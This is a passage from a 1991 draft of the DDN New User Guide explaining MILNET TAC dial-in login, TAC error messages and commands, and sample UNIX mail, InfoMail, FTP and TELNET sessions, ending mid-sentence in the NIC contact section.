equipment. It is also useful to know the address of the host +you connect to and how to alter the script when changes are made to the +network. + +Finally, for security reasons, you should enter your Userid and Access Code +manually when logging in rather than including this information within the +access script. + + +DRAFT [Page 19] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +4.2.1.5 Hard-Wired TACs + +If you are to connect to a host via a hard-wired TAC, you will need to consult +a local user representative or Node Site Coordinator to learn the procedure +for getting to the TAC/Mini-TAC. The procedure will vary depending upon what +equipment is used and how it is configured at your location. + + +4.2.2 TAC Login + +After you have successfully connected to a TAC/Mini-TAC, you must supply a +"wake-up" character to alert the TAC to your presence. Do this by holding +down the key and typing the letter Q on your keyboard (^Q). The +TAC/Mini-TAC should respond with a banner--often a message from the MILNET +Monitoring Center. + +Once the TAC banner is displayed on your screen, you can begin the process of +logging into the TAC/Mini-TAC and connecting to a remote host. + +Following is a sample scenario showing how to log in to a TAC/Mini-TAC. For +more detailed instructions on using a TAC/Mini-TAC and setting terminal +parameters, consult the TAC Users' Guide [1]. + + + + CONNECT 1200 (After user dials or otherwise connects to the + TAC/Mini-TAC, the modem may print a message + similar to this.) + + ^q (To alert the TAC/Mini-TAC, the user types a + control-q. It will not appear on the screen.) + FOR OFFICIAL USE ONLY + NIC 1-800-365-DNIC + 29 TAC 114 #:20 + @o 192.112.36.5 (The TAC responds; the user opens a host + connection by typing "@o" for open and entering + the host address in dot notation format.) + TAC Userid: NIC-GUEST + Access Code: (The TAC prompts for Userid and Access Code, and + the user enters the data. The Access Code does + not echo.) + +DRAFT [Page 20] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + +TAC Login, continued... + + Login OK (The connection is opened and NIC displays + information.) + TCP Trying...Open + * -- DDN Network Information Center -- + * + * For TAC news, type: TACNEWS + * For user and host information, type: WHOIS + * For NIC information, type: NIC + * + * For user assistance call (800) 365-3642 or (800) 365-DNIC or + (703) 802-4535 + * Report system problems to ACTION@NIC.DDN.MIL + NIC, SunOS Release 4.1.1 (NIC) #1: + Thu Sep 26 11:18:20 1991 EST + @. . . + (User works on the host and logs off when finished. + When disconnected from the host, user returns to the + TAC command level.) + @l + Logged out (User types "@l" to log off the TAC/Mini-TAC and the + TAC confirms.) + + +When you enter your TAC Userid and Access Code, remember the following: + + * terminates each input line and causes the next prompt to + appear. + + * It doesn't matter whether you type your TAC Userid and Access Code + in uppercase or lowercase letter. + + * For security reasons, your Access Code input is either not echoed + or it is obscured from view with strikeover characters. + + * If you make a mistake, try using the backspace key (^H) to delete a + single character. Use ^U to delete an entire line. Although these + commands do not work on every keyboard, they often do. + + * If you make a mistake while entering either your TAC Userid or Access + Code, type ^C to abort the login process and return to the TAC command + mode. Then try again. + +DRAFT [Page 21] DRAFT + + + + + +NIC 60001, September 1991 DDN New User Guide + + + * Sometimes the TAC/Mini-TAC is unable to reach the requested host + address. To tell the TAC/Mini-TAC to stop making connection attempts, + issue a close command: + + @c + Closed. + + * As long as you have an open connection to a host, you remain logged + in to the TAC/Mini-TAC. If you close the connection to the host or + the connection is shut down for any reason, you are given ten minutes + to open another connection with no further login to the TAC/Mini-TAC. + If you do not open another connection within ten minutes, the TAC + attempts to hang up your connection and automatically log you out. + To open another connection, simply type the "open" command again and + supply another host address, as in the example below: + + @o 128.1.0.1 + + +4.2.3 Common TAC Login Problems + +This section covers only TAC login problems. Problems specific to the +Mini-TAC will be covered in a future revision of this document. + +The TAC issues an error message when it does not receive the expected input. +Some of the most common error messages are presented in this section, along +with suggestions about what to do if you see one. + +The TAC sends two kinds of messages. The first deals with errors in the TAC +login process; the second deals with difficulties in opening a connection to +the destination host. + + +4.2.3.1 TAC Login Error Messages + +You may see one of the following error messages if you have problems logging +in to a TAC. Each message is accompanied by a brief explanation of its cause +and suggestions for further action. + + + + +DRAFT [Page 22] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +BAD LOGIN + This message means that the combination of Userid and Access Code you + entered is invalid. Examine your TAC Access Card carefully to be sure + you are typing the correct characters and that you are not using any of + the characters that are invalid in an Access Code. Note that Access + Codes never contain a zero (0), a one (1), a Q (quebec), or a Z (zulu), + since each of these characters may easily be mistaken for another. If + your Access Code appears to contain one of these characters, it may be + the letter O (oscar), the letter L (lima), the letter G (golf), or the + number 2 (two). + + This message is also displayed if you are using an expired or invalid + TAC card. If you are sure you are typing correctly and suspect you are + using a bad card, contact the NIC at 1-800-365-DNIC, and we can + determine the validity of your card. + + +BAD + This message means you typed a string that is not a valid TAC command, + and the TAC does not understand your input. Either you typed something + incorrectly or there was some interference on your connection. + Frequently, simply repeating the command corrects the problem. However, + if repeating your input causes another error message, check to make sure + that you typed the correct command and that your input is in an + acceptable format. + + +NUM + This message means that the TAC was expecting you to type a number, but + you typed some other character. The message is displayed if you type + the letter O (oscar) as part of the address of the host you are trying + to connect to, or if you omit the numeric host address after typing @o + (for open). Make sure that you are not typing letters in places you + should be typing numbers; this will probably correct the problem. + + +WAIT + The TAC displays this message while it is attempting to validate your + Userid and Access Code. + + + +DRAFT [Page 23] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +NO CARRIER + This message comes from your PC or modem. If this message is displayed + on your initial attempt to dial the TAC/Mini-TAC, it means that the + TAC/Mini-TAC did not answer the phone. This could be because of a power + failure or other emergency at the site where the TAC/Mini-TAC is + located, or it could be the result of a mis-dialed telephone number. + Try calling the number with a telephone that is not connected to your + terminal and see if your get a busy signal or other recording from the + telephone company. + + If this message appears after you have logged in and while you are + working on the host, it means that something happened to disconnect your + modem from the TAC/Mini-TAC. Try dialing the TAC/Mini-TAC again. If + the problem persists, contact your site systems representative to check + your modem, or call the Monitoring Center for your area to check the + TAC/Mini-TAC. + + +4.2.3.2 Host Connection Errors + +Host connection error messages are sent when you have successfully logged in +to the TAC and while the TAC is trying to connect to the host you specified. +You know that you have successfully logged in to the TAC when you see the +"Login OK, TCP trying..." message. + + +DESTINATION HOST DEAD + This message means that the remote host is physically powered off or + the cable to the network has been removed. The host is "down." Since + host down-times are normally relatively short, wait a while and try to + log in again. If the host remains unavailable, call the Host + Administrator for the destination host and ask when the system will be + available again. If you do not know the Host Administrator's phone + number, the NIC can provide it or the name and number of the coordinator + of the network the host is attached to. + + + + + + + +DRAFT [Page 24] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +DESTINATION HOST UNREACHABLE +DESTINATION NET UNREACHABLE +HOST NOT RESPONDING + Several network conditions can cause these messages. They may be + displayed if the host or its PSN is down or if a gateway between the TAC + and the host is down. Also, check to ensure that you specified the + correct host address. Typing a nonexistent network address will cause + such a message to be generated. If the condition persists, call the NIC + for assistance. + + +4.2.4 Changing the TAC Intercept Character + +The "@" sign is the default TAC intercept character. The intercept character +is the character that signals the TAC to interpret any character(s) that +follow immediately as TAC commands rather than passing them through to the +network. + +However, once you have connected to your host, you may want to send an @ +directly through to the network--for example, when you type a DDN mail +address. To make the TAC pass the @ on to the host rather than intercepting +it, you must type @ twice--i.e., @@. When you do this, the TAC intercepts the +first "@", transmits the second "@" to the host, and echoes that one back to +you. You will see @@@ on your screen. Remember, when you want to type an "@" +for anything other than a TAC command, you must type it twice. For example, +to send a message to auser@milhost, you would have to type + + auser@@milhost + +and on your screen you would see + + auser@@@milhost + +To change the TAC intercept character, you must type @i (for intercept) +followed by the decimal value of the ASCII code of the character you wish to +use in place of the @. The TAC Users' Guide contains a list of ASCII codes. +For purposes of text file transfers, we recommend that you change the +intercept to a non-printing character, such as a control character. For +example, to change the intercept character to control-y (^y), type the +following: + @i 25 + +DRAFT [Page 25] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +(Be sure to insert a space between the @i and the ASCII code number.) After +you change the intercept character, you must use the new character for all +subsequent TAC commands. To return to the default TAC intercept character +(the "@" sign) after changing it to ^y, type the following: + + ^yi e + +where "i e" stands for intercept escape. + + +4.2.5 Using a TAC for File Transfer (FTP) + +This section presents several TAC command procedures that may facilitate file +transfers through a TAC. The procedures covered here are + + * Changing the TAC intercept character, + * Setting flow control on the TAC, + * Putting the TAC into binary mode. + + +4.2.5.1 Changing the Intercept Character + +For executing file transfers, you may want to change the TAC intercept +character to one that your file transfer program does not use. For example, +the Kermit file transfer program uses the "@" (discussed in a subsequent +section). To change the intercept character, follow the directions in Section +4.2.4 above. + + +4.2.5.2 Setting Flow Control on the TAC + +Setting flow control on the TAC ensures that data will not be transferred at a +rate that causes the TAC buffers to overflow. The example below assumes that +you have changed the TAC intercept character to ^y. (The ^y characters are +shown in the examples, but they will not display on your screen as you type +them on your keyboard.) + + ^yd c a + ^yf i s + ^yf o s + + +DRAFT [Page 26] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +where + ^yd c a = device code ASCII, which clears any previously set + flow control as well as any padding and parity. + Flow control is incompatible with padding and parity. + + ^yf i s = flow control input start, which enables flow control + so that the terminal sending data will not send it + faster than the TAC can handle it. + + ^yf o s = flow control output start, which disables flow control + from the TAC to the terminal. + + +4.2.5.3 Putting the TAC in Binary Mode + +To transfer binary files over the network, you must first put the TAC into +binary mode. Doing so disables the TAC intercept character. You must disable +the intercept character because if the TAC receives what it considers to be an +intercept character--even though the character is embedded in a file--it +interrupts the transfer process and tries to interpret whatever follows the +intercept as a command. + +To put the TAC in binary mode, first open a connection to your host. After +establishing the host connection, put the TAC in binary mode with the commands +shown below. (Here again, the example assumes you have changed the intercept +character to ^y.) The commands must be typed in the order shown, because if +you start binary input before you initiate binary output, the TAC will ignore +the "^yb o s command" and treat it simply as a character string to transmit +over the network. + + ^yb o s + ^yb i s + +where + + ^yb o s = binary output start, which enables 8-bit binary + output mode from the TAC. + + ^yb i s = binary input start, which enables 8-bit binary + input mode to the TAC. + + +DRAFT [Page 27] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +Logging out of your host returns the TAC to non-binary mode, re-enabling local +control with @ commands. This is the only way to reset the TAC from binary to +non-binary mode (short of hanging up or disconnecting from the TAC itself). + + +4.2.6 A Brief Word About Mini-TACs + +Mini-TACS are new and improved DDN access controllers similar to the TACs +currently in use. As with the original TACs, Mini-TACs provide DDN access to +network users who are geographically distant from their host computers. When +a user dials a local or toll-free phone number and types the required series +of commands, it opens a long-distance connection to the user's host computer. + +TACs support up to 63 asynchronous user ports. The smaller, more compact +Mini-TAC can handle only 16 asynchronous terminal connections, but it has +other capabilities (i.e., synchronous terminals, HFEP, etc.). Both TACs and +Mini-TACs allow normally incompatible terminals and hosts to communicate with +one another using the DDN as the go-between. While both types of access +controllers serve similar roles, the Mini-TACs provide more advanced +operational and security features. + +Like a TAC, the Mini-TAC returns error messages to its users if it cannot +understand a command. Currently, from a user standpoint, the Mini-TACs and +the TACs are essentially the same. If you notice any difference in behavior +between TACs and Mini-TACs and you need assistance, call the MILNET Monitoring +Center or the NIC. At present, some TAC commands can be abbreviated to one +character. However, in the future, Mini-TAC commands may need to be at least +two characters long to ensure that they are differentiated from other commands +starting with the same letters. + + + + + + + + + + + + + +DRAFT [Page 28] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + + SECTION 5. NETWORK USE + + +A computer attached to the DDN can reach a large community of users and access +a wide variety of software. Research tools, documents, files, and mailing +lists are all readily accessible through the DDN. This section describes the +procedures for using these network tools, three of which are major network +services: electronic mail (SMTP), file transfer (FTP), and remote login +(TELNET). These services are integral to the DDN protocols and are offered by +all hosts that have implemented the full set of network protocols. + +Although the functionality of the services discussed here is the same on every +host, what the user sees may differ from host to host because software is +often customized to suit the host operating system. For this reason, it is +important to read local online and hard-copy documentation and to consult +online help files for specific details on using these services on your host. +Check with your local Host Administrator or site systems representative if you +need more information. The sections below provide a generic description of +how to use electronic mail, FTP, and TELNET. + + +5.1 Electronic Mail + +The DDN capability that is used more often than any other is electronic mail. +Electronic mail lets users send messages to one another over the network. +System programs accept and store mail messages from users on other hosts that +are directed to local users. These programs automatically recognize the +incoming traffic as electronic mail, translate it to a format compatible with +the receiving mail program, and direct the messages to the correct recipients. + +Most users have an online mail file where all messages addressed to them are +stored. + +You can print, read, or delete your mail using the local mail program. +However, you should not edit or alter the structure of your mail file except +through a mail program, as each message has unique characteristics that +identify it as mail, such as a header, a character count, and a time stamp. +Editing the mail file directly may alter these characteristics so that the +mail program no longer recognizes the data as mail. + +Host computers usually provide one or more programs for reading and sending +mail. Most mail programs provide you with the following capabilities: + +DRAFT [Page 29] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + + * Reading messages + + All mail programs have a command that allows you to read messages + received over the network. Mail programs normally offer options + for selecting and displaying specific messages from those received + and stored in your mailbox. + + + * Printing, deleting, or moving messages + + With your local mail program, you can print your messages (if a + printer is available), move them into other (editable) files, or + delete them. It is important that you learn how to delete or move + messages after reading them; otherwise, your mail file may overflow + and prevent additional mail from being delivered. + + + * Sending messages + + You can send messages to other users on the same host or to anyone + on the network that has a mail service. No passwords are required + to send mail, but it is necessary to know the network mailbox, or + address, of the person to whom you are sending mail. Network + mailboxes usually take the form + + USERNAME@HOSTNAME.DOMAIN + + e.g., SMITH@NIC.DDN.MIL. + +Mail that is transmitted over the DDN normally requires a network address made +up of a username and a hostname. Occasionally, you can omit the hostname. +For example, if you are sending a message to a user on the same host as the +one you are using (your local host), you need not include the hostname. This +is similar to sending an interoffice memo, which rarely needs a full name and +address to reach its destination. On the other hand, a message sent to "John +Smith, U.S.A" has little chance of being delivered without more information. +The same is true of electronic messages without a valid address. Any message +with an incomplete or incorrect address is returned to the sender with an +error message. If a mail message is undeliverable due to network or machine +problems, most mail programs try to resend it several times before returning +it to the sender. + +DRAFT [Page 30] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +Many mail programs allow you to use a local text editor to revise or correct +the text of the message you are preparing. The mail programs themselves +usually have simple editing features that allow you to delete a character, +word, or line, or to make simple corrections. An entire file may be sent as +the text of a message, assuming the file is not too large. Many mailers +outside the DDN truncate or discard messages that are longer than 50,000 +characters in size, envelope and header data included. + +Following are examples of some typical procedures for sending and reading +mail, and for getting help within a network mail program. These are general +scenarios; your host may run a different program or implementation than the +ones shown. Only the bare essentials for using these mail programs are +included here. We urge you to read the manuals for your mail system and to +explore the online help facilities to expand your knowledge of what your +implementation has to offer. + +In the examples that follow, note that the prompt character consistently +indicates what operating system or program you are dealing with currently, and +that the prompt character changes as you progress from one system/program to +another. + + + [NOTE: Computer names, user names, electronic addresses, and other + data used in examples throughout this manual are not intended to + represent currently valid input/output--i.e., some of the data may + be "ficticious" but the format is accurate.] + + + + + + + + + + + + + + + + +DRAFT [Page 31] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + +5.1.1 UNIX MAIL Examples + +Sending Mail Via UNIX + + [NOTE: UNIX is case-sensitive. Most UNIX systems require that + commands be entered in lowercase.] + + % mail nic@nic.ddn.mil (User asks to send mail to a well- + known mailbox. The percent sign (%) + is a standard UNIX system prompt, + while "mail" is the command that + invokes the Mail program. User must + insert a space before typing the + message address on the same line.) + + Subject: How to get RFCs + (The Mail program prompts for a + subject, and the user supplies it.) + + How do I retrieve RFCs using the electronic mail utility? + Thanks for your help. + ^d (The user types the message text, + ending with a control-d (^d) in the + first character space of a line.) + + % (UNIX prompt returns.) + + +Reading UNIX MAIL + + % mail (User invokes the Mail program at + the UNIX prompt.) + + You have mail. (The Mail program announces that + there is mail waiting in the user's + mailbox and prints the headers of + messages received since user last + checked his mail.) + + New mail: 1) 16/Dec SMITH@ISI.EDU (292) Where is RFC 212? + 2) 17/Dec JONES@NIC.DDN.MIL (145) Re: RFC 212 + 3) Etc... + +DRAFT [Page 32] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +Reading UNIX Mail, continued... + + + & p 1 (Mail prompt [&] is presented, and + user asks the Mail program to print + message 1 [p 1]. The full message + text will be printed on the user's + screen.) + + +Getting Help for UNIX MAIL + +Typing + + man mail connects you to the online Mail manual from the UNIX + prompt. + + help displays help for Mail users after program is invoked. + + ? displays a list of Mail commands after program is + invoked. + + + + + + + + + + + + + + + + + + + + + +DRAFT [Page 33] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +5.1.2 InfoMail Examples + +Sending a Message Via InfoMail + + [NOTE: Since InfoMail runs under the UNIX operating system, and UNIX + is case sensitive, InfoMail commands must normally be entered in + lowercase.] + + + DDN1-> infomail (User invokes the InfoMail program + at his local system prompt.) + InfoMail -- Version 0.3x + Username: code123 + Password: (The InfoMail banner is displayed, + and user is asked to log in with his + mail username and password.) + + --> compose (At the InfoMail prompt, the user + asks to create a message -- + "compose".) + To: command@ddn2.dca.mil + From: CODE123@DDN1.DCA.MIL (InfoMail prompts for address of + recipient and automatically supplies + user's address on "From" line.) + Subject: Dial-ups + Date: 12 July 1992 (InfoMail prompts for subject, and + user enters the subject of the + message. InfoMail automatically + supplies the current date.) + + Text: Request dial-ups for our site. Usage demand is up. + . + (InfoMail prompts for text, and + user enters, terminating the text + with a carriage return, a period in + the first space of the next line, + and another carriage return.) + --> quit + DDN1-> (User types "quit" to exit from + InfoMail. The local system prompt + returns.) + +DRAFT [Page 34] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +Reading Mail with InfoMail + + DDN2->infomail (User invokes the InfoMail program + at his local system prompt.) + InfoMail -- Version 0.3x + Username: COMMAND + Password: (The InfoMail banner is displayed, + and user is asked to log in with his + mail username and password. These + may be entered in either upper or + lowercase. After a successful login, + InfoMail notifies user of mail in + his "Inbox.") + INBOX. + 1 FROM: CODEB999 / SUBJECT: DIAL-UPS / 13 Jul + 2 FROM: AF@DDN.A / SUBJECT: SCHEDULE / 14 Jul + --> next + (At the InfoMail prompt, user issues + a command to display the next + message, and InfoMail does so.) + To: COMMAND@DDN2.DCA.MIL + From: CODE123@DDN1.DCA.MIL + Subject: Dial-ups + Date: 13 July 1992 + Text: + Request dial-ups for our site. Usage demand is up. + + --------------------END OF DOCUMENT---------------------- + --> next (User types "next" to ask for the + next message.) + To: COMMAND@DDN2.DCA.MIL + From: AF@DDN1.DCA.MIL + Subject: SCHEDULE + Date: 14 July 1992 + Text: + What is the schedule for the next InfoMail demo? + + --------------------END OF DOCUMENT---------------------- + --> quit (User types "quit"to exit from the + InfoMail program.) + + +DRAFT [Page 35] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +Getting Help for InfoMail + +Typing + + -->? Prints a list of all the commands that can be + issued at this stage of the Mail procedure. + + --> ? Lists possible input for completing the + specified command. + + -->describe Tells what the specified command does and how + to use it. + + -->example Prints an example of the specified command. + +InfoMail manuals are available from + + BBN Communications Division + 10 Moulton St., Cambridge, MA 02238 + + + +5.2 File Transfer Protocol (FTP) + +FTP is a protocol that enables you to move a file from one computer to another +even if the computers have different operating systems and file storage +formats. You can move data files, programs, text files, and/or anything that +can be stored online. + +To use FTP, you must know the hostname or the host address of the remote host. + +You must also have an authorized username and password on the remote host +system, and you must know the name of the file you want to retrieve from or +send to that system. You can then copy files either to or from the remote +system. Not every file, however, can be FTP'd. Only those files that have +public "read access" (i.e., a file protection designation that permits +transfers) can be transferred from one system to another. + +Some hosts provide the username "anonymous" for FTP file retrieval from their +systems; this is called the "anonymous login convention." Any character +string is accepted as a password for an anonymous login. + + +DRAFT [Page 36] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +An anonymous login account works only with FTP. It is not an account that can +be accessed for general use. You cannot use the anonymous convention to send +files to a remote host, as this requires a specific login account on that +host; you may only use it to transfer files to your local workspace from a +host on which you do not have a login account. + +These are the general steps used for a file transfer procedure: + + 1. Log in to your local host and invoke the FTP program. + + 2. Provide the hostname or host address for the remote system. + + 3. When you have successfully established a connection to the remote + host, log in with your authorized username and password on that + system. + + 4. Issue commands to send or retrieve files. + + 5. When you are finished, log off the remote host and exit from the + FTP program. + +Depending on the FTP implementations on your host and on the remote host, it +may be possible to display a directory listing of the public files on the +remote host and to request remote system status information. + +As you will see from the examples, when you transfer a file with FTP, messages +regarding the status of the action you have requested are displayed throughout +the process. The FTP server on the remote host sends the File Transfer +messages. These messages have the following characteristics: + + * Every FTP command generates at least one reply. + + * A reply consists of a three-digit return code, followed by a line of + text describing the response. + + * If a single line of text accompanies the return code, a single space + separates the code from the text. + + * If more than one line accompanies the return code, a hyphen (-) + separates the code from the text. + + +DRAFT [Page 37] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +During a File Transfer session, you enter a command and then wait for a +message indicating whether the command was accepted. Further system messages +describe the outcome of any transfer you may request. + +The text that accompanies the FTP return codes may differ slightly from server +to server, but the general meaning of the numeric codes remains constant. + +Programs based on the FTP protocol vary a great deal in implementation +details. The examples provided here should be taken only as guidelines. +Consult your local system representatives for assistance with the FTP +implementation on your host. + +Before you begin a File Transfer session, it is best to become familiar with +the general command sequence. + +An example of an FTP session conducted between two UNIX systems appears on the +next page. In the example, a user carries out several standard FTP +procedures, such as asking for a directory listing of the public files on the +remote system and then changing to another directory. Remember that the +commands to accomplish these tasks may vary from host to host, and not all +host FTP servers implement all commands. + + + + + + + + + + + + + + + + + + + + + +DRAFT [Page 38] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +5.2.1 Transferring a File on a UNIX System + +In the following example, both hosts are running UNIX. + + abacus-1>ftp fs3.nisc.nic.com + Connected to FS3.NISC.NIC.COM (User invokes the FTP program at his + local system prompt, and the remote + FTP server responds by displaying + its banner and requesting a login, + as shown below.) + + 220 fs3 FTP server (NIC Version x.xx ... Wed July 17 16:20:33 EDT) ready. + Name (fs3.nisc.nic.com:barbv): anonymous + 331 Guest login ok, send ident as password. + Password: guest (no echo) + 230 Guest login ok, access restrictions apply. + ftp>ls + 200 PORT command successful. + 150 Opening ASCII mode data connection for file list. + etc + pub + netinfo + INDEX + ls-lR + 226 Transfer complete. + 47 bytes received in 0.02secs (2.3 Kbytes/sec) + (After successfully logging in as + "anonymous guest," the user asks for + a directory listing of public files + at the FTP prompt. FTP responds, + printing messages regarding the + transfer.) + ftp>cd netinfo + 250 CWD command successful. + ftp>ls + 200 PORT command successful. (At the FTP prompt, user issues a + command to change to the netinfo + directory, then asks for a listing + of files in the new working + directory--netinfo.) + +DRAFT [Page 39] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +UNIX File Transfer, continued... + + + 150 Opening ASCII mode data connection for file list. + interest-groups + domains + nsfnet.policy + 226 Transfer complete. + 125 bytes received in 0.04. seconds (3.1 Kbytes/s) + ftp>get nsfnet.policy (User asks for a transfer of the + specified file to his own file + system. Since he does not specify + a new filename, the file retains the + same name on the local system.) + 200 PORT command successful. + 150 Opening ASCII mode data connection for nsfnet.policy (2790 bytes). + 226 Transfer complete. + local: nsfnet.policy remote: nsfnet.policy + 2847 bytes received in 0.12 seconds (23 Kbytes/s) + ftp> bye + ftp> Goodbye. + abacus-2> (User types "bye"to exit from the + FTP program. The local system + prompt is displayed again.) + + +5.2.2 How to FTP a Directory Listing + +The example that follows demonstrates how to retrieve a list of file names +from a public directory. (Not all hosts provide this feature; check with the +online help system or your local user support representative.) In the +example, the user is logged on to a host running the UNIX operating system. +He uses FTP to connect to the host NIC.DDN.MIL, then logs in under username +"anonymous" and password "guest." He enters the "dir" (directory) command for +the directory "RFC" to see the names of accessible files. (Because the actual +directory list is long, only the first few files and the last file are shown +in the example.) + + + + + +DRAFT [Page 40] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +After the directory listing is displayed, the user can copy a file or files +from the remote host directory, but this procedure is not included in the +example. He issues the FTP "quit" command to exit from the FTP program and +close the connection to the remote host, which returns him to the local host +operating system. + + % ftp + + FTP> nic.ddn.mil + + Assuming 36-bit connections, paged transfers) + login anonymous + + Password: guest + + User ANONYMOUS logged in at Wed 7-Aug-91 14:14 EDT, job 31. + FTP> dir rfc + + + rfc-index.TXT.114 + rfc189.TXT.1 + rfc407.TXT.1 + . + . + . + rfc931.TXT.1 + 226 Transfer complete. + 47 bytes received in 0.02secs (2.3 Kbytes/sec) + FTP> quit + QUIT command received. Goodbye. + + % + + + + + + + +DRAFT [Page 41] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +5.3 Using TELNET + +Another valuable way to use the network is offered by the TELNET utility, +which allows you to log in to a remote host from a local host (assuming that +you have an authorized account on the remote host). Once you have established +a TELNET connection and logged into the remote host, you can enter data, run +programs, and otherwise operate just as though you were logged in directly. +During a TELNET session, each transition to a different interactive program +causes a shift to a different command level. With each level, the form of the +prompt varies. Command formats also vary with each level. You can often tell +which system/program you are using by the prompt symbol. The steps for +running TELNET are very briefly summarized as follows: + + * Log in to your local host. + + * Invoke the TELNET program from that host. + + * Identify by hostname or host address the remote host that you want + access to. + + * When the TELNET connection is established, log in to the remote host + with the username and password that have been assigned to you on that + host. + + * Perform whatever tasks you like on the remote machine, being careful + not to violate any remote operating system rules. + + * When finished working on the remote host, type the remote logout + command. Then close the TELNET connection if it is not automatically + closed on logout. + + * You are once again operating in your local host system environment. + +TELNET has other advanced features too numerous to discuss here. Check you +local TELNET user program for online documentation, or talk to your local Host +Administrator or user support representative for more information. + + +5.3.1 Invoking TELNET with the Hostname on the Command Line + +In the following example, a user TELNETs from a local UNIX host to a remote +SunOS host. Once the connection has been established, the prompts, commands, + +DRAFT [Page 42] DRAFT + + + + + +NIC 60001, September 1991 DDN New User Guide + +and responses are those of the SunOS environment. To the user, it appears as +though he/she were directly logged in to the SunOS computer. + +After the user is done working on the remote host, he issues the SunOS logout +command. This logout automatically returns him to the TELNET program on the +local host, closes the TELNET session, and returns the local operating system +prompt (%). + +Note that instead of invoking the TELNET program and then issuing an "open" +command to the remote host at a TELNET prompt, the user supplies the remote +host address directly on the program invocation line. (Not all +implementations recognize this form of connection.) In addition, note that +the user would need an authorized account on the NIC host to log in with +username and password as shown in the example. + + % telnet nic.ddn.mil (User issues the telnet command, + giving the remote hostname as an + argument on the command line.) + trying... + connected to nic.ddn.mil + escape character is '^]' + + NIC.DDN.MIL, SunOS UNIX (nic) (TELNET prints messages during + connection establishment, affirms + the connection, and notifies the + user of the escape character [see + discussion of escape charaters in + Chapter 4]. The Sun host prints its + banner and prompt--@.) + @ login + Password: (User enters his remote system + userid and password. The password + does not echo on screen.) + ...USER SESSION... + + @ logout (After completing his work on the + SunOS host, user issues a logout + command to exit from the remote + system. The connection is closed + automatically and the local prompt + reappears.) + Connection closed by remote host. + % + +DRAFT [Page 43] DRAFT + + + + + +NIC 60001, September 1991 DDN New User Guide + +5.3.2 TELNET Using Host Address + +Instead of invoking TELNET and specifying a hostname for the remote host, you +may specify the remote address in dot notation format. Some hosts require the +network address to be enclosed in brackets if it is supplied on the command +line. (Many TELNET implementations prompt for a network hostname or address if +you do not specify one, and they may allow you to open the connection after +asking for help or issuing other TELNET commands.) To establish a TELNET +connection using a host address, proceed as shown in the example below. The +example presumes a user on a UNIX host connecting to the NIC's SunOS system +via TELNET. After reaching the NIC host, the user looks up a name with the +WHOIS program, exits from WHOIS, and then closes the connection. (Note the +change from UNIX prompt symbol to the NIC prompt and back again.) + + % telnet 192.112.36.5 + Trying 192.112.36.5 ... + Connected to nic.ddn.mil. + Escape character is '^]'. + + SunOS UNIX (nic) + + -- DDN Network Information Center -- + * + * For TAC news, type: TACNEWS + * For user and host information, type: WHOIS + * For NIC information, type: NIC + * + * For user assistance call (800) 365-3642 or (800) 365-DNIC or + (703) 802-4535 + * Report system problems to ACTION@NIC.DDN.MIL + + NIC, SunOS Release 4.1.1 (NIC) #1: + Thu Sep 26 11:18:20 1991 EST + @ whois varallob + Connecting to id Database . . . . . . + Connected to id Database + Varallo, Barbara (BV36) varallob@NIC.DDN.MIL + Network Solutions, Inc. + 505 Huntmar Park Drive + Herndon, VA 22070 + (703) 802-8461 + Record last updated on 08-Aug-91. + +DRAFT [Page 44] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +TELNET from UNIX to NIC, continued... + + Enter a handle, name, mailbox, or other field, optionally preceded + by a keyword, like "host nic". Type "?" for short, 2-page + details, "HELP" for full documentation, or hit RETURN to exit. + ---> Do ^E to show search progress, ^G to abort a search or output <--- + Whois: + @ logout + + Thu Sep 26 11:19:28 1991 EST + Connection closed by foreign host. + % + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +DRAFT [Page 45] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + + + SECTION 6. DDN NETWORK INFORMATION CENTER (NIC) + + +The DDN Network Information Center (NIC) is located at the DDN Installation +and Integration Support (DIIS) program office in Chantilly, Virginia. The NIC +is funded by the Defense Information Systems Agency (DISA), Defense Network +Systems Organization (DNSO). The NIC is responsible for providing general +reference services to DDN users via telephone, electronic mail, and U.S. mail. + +The NIC also provides databases and information services of interest to +network users, including the WHOIS registry of network users, the NIC/Query +browsing system, TACNEWS, and the official DoD Host Name Service. The NIC +maintains the RFC (Request for Comments) collection. Many of the online files +are available through the NIC's automatic mail service, SERVICE@NIC.DDN.MIL. + +Among its other duties, the NIC + + * registers hosts and domains, + * assigns IP network numbers and Autonomous System Numbers (ASNs), + * provides hostname translation tables and domain name system server + files to the DDN and the Internet, + * registers network users, + * issues MILNET TAC Access Cards. + +These services are described in more detail in the "Current DDN NIC Services" +booklet. + + +6.1 Contacting the NIC + +6.1.1 NIC User Assistance Help Desk + +The NIC provides user assistance in a number of ways. Our main Help Desk +phone numbers are + + 1-800-365-DNIC (within the continental United States) + 1-703-802-4535 (outside the continental United States and in the + Washington, D.C. metropolitan area) + + 1-703-802-8376 FAX Number + + +DRAFT [Page 46] DRAFT + + + + + + +NIC 60001, September 1991 DDN New User Guide + + +The first number is toll free, while the area code 703 numbers are toll free +in the Washington area only. + +The NIC provides Help Desk assistance to those who experience problems with +using the network in general, and with terminal-to-TAC use in particular. +Should you have a security problem or concern, the 